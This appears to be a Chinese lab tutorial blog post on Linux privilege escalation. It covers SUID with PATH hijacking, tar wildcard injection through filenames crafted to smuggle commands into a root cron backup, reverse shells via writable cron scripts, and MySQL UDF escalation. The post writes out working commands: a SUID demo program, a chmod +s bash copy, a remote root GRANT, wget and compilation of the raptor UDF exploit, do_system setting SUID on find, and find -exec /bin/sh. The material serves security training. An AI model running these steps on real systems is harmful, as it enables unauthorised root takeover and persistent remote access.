第104天: 权限提升-Linux 系统&环境变量&定时任务&权限配置不当&MDUT 自动化

目录

[案例一:Linux-环境变量文件配合 SUID-本地](#案例一:Linux-环境变量文件配合 SUID-本地)

[案例二:Linux-定时任务打包配合 SUID-本地](#案例二:Linux-定时任务打包配合 SUID-本地)

案例三:Linux-定时任务文件权限配置不当-WEB&本地

[案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地](#案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地)

隧道出网

手工提权


案例一:Linux-环境变量文件配合 SUID-本地

原理

复现demo.c文件源代码

cpp 复制代码
#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

demo.c文件进行编译生成shell文件

加上suid权限

这个时候执行shell,就是利用root权限去执行ps命令

切换普通用户权限

进行提权操作,把bash命令复制到/tmp下

这个时候需要进行环境覆盖,让/tmp下的ps在/bin下之前执行。

cpp 复制代码
export PATH=/tmp:$PATH

这个时候再运行./shell

实战应用

1.普通用户权限下先获取suid所有程序

2.去除系统自带的一些命令(筛选第三方程序)

3.对该程序进行反编译或者找源码 明白该程序的作用

4.思考该程序有无执行一些环境变量命令(ps ping su sudo 等 比如该shell程序执行了ps命令

5.尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)

案例二:Linux-定时任务打包配合 SUID-本地

项目背景:运维为了防止数据丢失,会定时运行计划任务,把项目打包

cpp 复制代码
tar zxf 1.tar.gz /var/www/*

这里首先先创建一个计划任务

backup.sh,记得加执行命令(去/tmp路径下,把tmp下的所有文件打包成backup.tar.gz)

cpp 复制代码
cd /tmp;tar czf /tmp/backup.tar.gz *

去/etc/crontab下写上一条

cpp 复制代码
* * * * * root /tmp/backup.sh

自动打包

这个时候切换普通用户,写入这几条命令

echo "" > "--checkpoint-action=exec=sh test.sh"

#将空文件写入--checkpoint-action=exec=sh test.sh中

echo "" > --checkpoint=1

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh

#写入命令 chmod +s对可执行文件升级权限 赋予suid权限

chmod +x test.sh

再打包时因为文件名的原因,会自动进行命令拼接,解释:

tar czf /tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh #自动执行test.sh

tar czf /tmp/backup.tar.gz --checkpoint=1 #每处理512个字节执行一次命令

1分钟后出现了具有suid权限的bash

然后运行该程序,这里我上一篇文章文章介绍了debian系统需要上-p参数才能够提权

实战应用

查看定时任务· 定时任务有没有可利用 (tar打包压缩等)

案例三:Linux-定时任务文件权限配置不当-WEB&本地

在计划任务里面的backup.sh里面一般是没有修改文件的权限的

当加上修改权限的时候。就可以把里面的内容改成反弹shell的命令

切换普通用户,修改文件内容

开启监听

反弹

案例四:Linux-第三方软件 MYSQL 数据库提权-WEB&本地

靶机下载地址:

链接:https://pan.baidu.com/s/1_ghJGJ3-bJZj1L4d6nlnYw?pwd=8e03

提取码:8e03

项目复现:https://zhuanlan.zhihu.com/p/270343652

nmap扫描

直接只展示mysql提权过程,菜刀连接

翻阅数据库的账号密码

利用哥斯拉建立连接尝试连接数据库

nc反弹shell

进入mysql开启外联

外联命令

复制代码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;
flush privileges;

但是还是连接不上,原因是由于该靶机设置了防火墙设定

解决方法

手工提权(在webshell上面的数据库管理进行提权) 自己连自己

隧道出网(用外部或本机的工具项目提权 建立隧道)

隧道出网

利用刚才反弹的shell,进行木马编写,建立冰蝎连接(中间走了很多弯路,ip变了)

用冰蝎建立连接

然后建立内网穿透

现在进行连接

连接成功

这个时候利用工具进行自动化提权

工具下载地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

进行连接配置

直接进行提权

手工提权

可能用到的命令

下载mysql udf kali poc进行编译

wget https://www.exploit-db.com/download/1518

mv 1518 raptor_udf.c

gcc -g -c raptor_udf.c

gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

mv raptor_udf.so 1518.so

上传或下载1518到目标服务器

wget https://xx.xx.xx.xx/1518.so

进入数据库进行UDF导出

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system函数调用

create function do_system returns integer soname '1518.so';

select do_system('chmod u+s /usr/bin/find');

#配合使用find调用执行

touch xiaodi

find xiaodi --exec "whoami" \;

find xiaodi --exec "/bin/sh" \;

id

下载源文件

编译并且重命名

python开启简易网站

下载

进行udf导出

创建do_system函数,并且给find命令加上suid权限

退出进行提权

相关推荐
TunerT_TQ1 小时前
【智能体安全治理|专栏第9期】从“一堆规则”到“数字宪法”:智能体治理的下一个阶段
java·开发语言·安全·开源治理·大模型安全·ai基础设施·智能体安全
zzq77972 小时前
APP 加固选型实战:从保护面构建到发布验收的全链路指南
安全·安卓·app加固·apk加固·御盾安全·御盾·免费加固
鹿鸣天涯2 小时前
应急响应:常见WebShell管理工具
安全·web安全
zzq77973 小时前
Android 17 升级后 System.load 报错排查与加固兼容指南
android·安全·app加固·apk加固·御盾安全·免费加固·御盾加固
cyforkk4 小时前
并发控制与状态安全:Single-Flight 与幂等性的本质区别
java·安全·spring
一只鹿鹿鹿4 小时前
三甲综合智慧医院信息化总体解决方案(PPT文件)
大数据·运维·物联网·安全·政务
月光船幽幽5 小时前
四层公理框架驱动AI健康诊断
人工智能·python·科技·算法·安全
王维同学5 小时前
跨位数进程的映像、命令行与环境块读取
c++·windows·安全
zcmodeltech6 小时前
化工装置沙盘模型多设备协同控制系统设计:基于STM32与Modbus RTU的装置-流程-安全联动方案
大数据·stm32·嵌入式硬件·安全·unity·制造
黎阳之光6 小时前
黎阳之光:用“视频孪生”擦亮国门智慧底色
大数据·人工智能·物联网·安全·数字孪生